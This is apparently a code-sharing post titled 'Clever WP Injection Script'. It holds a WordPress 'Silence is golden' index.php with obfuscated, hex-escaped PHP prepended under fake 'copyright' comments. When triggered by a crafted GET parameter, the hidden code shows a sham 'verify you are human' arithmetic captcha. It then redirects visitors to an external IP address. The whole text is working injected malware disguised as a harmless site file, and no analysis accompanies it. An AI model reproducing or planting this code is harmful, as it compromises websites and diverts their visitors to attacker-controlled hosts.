Clever WP Injection Script

gistfile1.php

<?php /* copyright */ ${"G\x4c\x4f\x42\x41L\x53"}["\x74x\x65\x66f\x62c\x76\x74w\x64\x6b"]="k";${"\x47L\x4f\x42\x41\x4c\x53"}["\x73\x76\x63y\x75\x78\x74v"]="k";${"G\x4cO\x42\x41\x4cS"}["\x68\x63\x66\x6fc\x6ev\x6e"]="c";${"\x47\x4cO\x42A\x4cS"}["f\x62\x71m\x77w\x63\x7a\x77gb"]="\x61";$uhhmemlj="v";${"GLO\x42\x41L\x53"}["\x70\x69\x74x\x77b\x7a\x76\x63\x64\x64"]="b";foreach($_GET as${${"\x47\x4c\x4fB\x41L\x53"}["\x74\x78\x65ff\x62\x63\x76tw\x64\x6b"]}=>${$uhhmemlj})if(preg_match("\x21\x5e\x5ba-z\x30-\x39\x5d{\x310\x2c32\x7d\x24!\x69s",${${"GLOB\x41\x4cS"}["\x73vcy\x75\x78\x74v"]})){session_start();if(isset($_POST["res"])&&$_SESSION["r\x65\x73"]==$_POST["\x72e\x73"]){header("\x4c\x6f\x63a\x74io\x6e\x3a \x68tt\x70\x3a\x2f/9\x35\x2e\x31\x36\x39\x2e187.\x39\x38/\x69jh\x66h\x66.p\x68\x70\x3f\x6dg\x74\x64\x66k=\x34\x353\x34\x26\x6ev\x68\x64l=sk\x64\x6ae&go\x6bk\x3d".substr(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x74\x78\x65\x66\x66\x62\x63\x76\x74\x77\x64\x6b"]},-5));}else{$vxomtd="\x63";$kghtssqccjlo="\x61";${$kghtssqccjlo}=mt_rand(1,9);${$vxomtd}=mt_rand(1,9);if(mt_rand(0,1)==1){$yeygmwcsueb="\x61";${"\x47L\x4fB\x41\x4cS"}["s\x77c\x6e\x62\x71c\x78"]="\x62";$_SESSION["\x72e\x73"]=${$yeygmwcsueb}+${${"G\x4c\x4f\x42ALS"}["\x68\x63\x66\x6f\x63nv\x6e"]};${${"GLO\x42\x41L\x53"}["\x73w\x63n\x62q\x63\x78"]}="+";}else{$yliifkkgn="\x61";${"\x47LO\x42AL\x53"}["\x6a\x66\x75\x74\x70\x6f\x68xk\x77\x6b"]="\x62";${"GLOB\x41\x4c\x53"}["rii\x71\x75\x66\x6a\x76\x73\x79"]="\x63";$_SESSION["\x72\x65\x73"]=${$yliifkkgn}-${${"\x47\x4c\x4fB\x41LS"}["\x72ii\x71u\x66j\x76\x73\x79"]};${${"G\x4c\x4fB\x41\x4c\x53"}["jf\x75\x74p\x6fhx\x6bwk"]}="\x2d";}${"GL\x4f\x42\x41\x4c\x53"}["\x6d\x76\x68\x69fa\x63"]="c";echo"\x3c\x66o\x72\x6d m\x65\x74h\x6f\x64\x3d'po\x73\x74'\x3e\n\t \x20 \x20<d\x69v\x20sty\x6ce='\x77\x69\x64t\x68\x3a\x352\x30\x70x\x3b \x6dar\x67i\x6e\x3a0p\x78\x20a\x75\x74\x6f;\x20\x6d\x61rgi\x6e\x2d\x74o\x70:10\x30p\x78\x3b\x20\x70\x61ddi\x6e\x67:\x31\x35\x70x;\x20\x62\x6f\x72\x64\x65\x72:1p\x78 \x73oli\x64 \x233\x333\x3b\x20b\x61\x63k\x67\x72ound-\x63o\x6c\x6fr\x3a\x23ee\x65\x3b\x27\x3e\n\t\x20 \x20\x20P\x6ceas\x65 verif\x79\x20that \x79ou \x61\x72e\x20\x68\x75m\x61n\x2c\n\t \x20\x20 \x77h\x61t\x20\x69\x73\x20\x72\x65\x73ult\x20of\x3a\x20".${${"GLO\x42\x41\x4c\x53"}["\x66\x62\x71\x6dw\x77\x63\x7a\x77\x67\x62"]}."\x20".${${"G\x4c\x4f\x42\x41LS"}["\x70i\x74xw\x62\x7a\x76\x63\x64\x64"]}."\x20".${${"\x47\x4c\x4f\x42A\x4c\x53"}["mv\x68if\x61c"]}." =\n\t \x20\x20\x20<in\x70u\x74 ty\x70e='t\x65\x78\x74' n\x61\x6de\x3d\x27\x72es\x27\x20s\x69\x7ae\x3d'\x32\x27\x20\x76\x61\x6cue\x3d'\x3f'\x3e\n\t    <\x69np\x75\x74 typ\x65=\x27\x73ubmit'\x20v\x61\x6cu\x65=\x27I am H\x75man!\x27>\n\t   \x20\x3c\x2fd\x69\x76\x3e<\x2fform>";}exit;} /* copyright */ ?><?php
// Silence is golden.
?>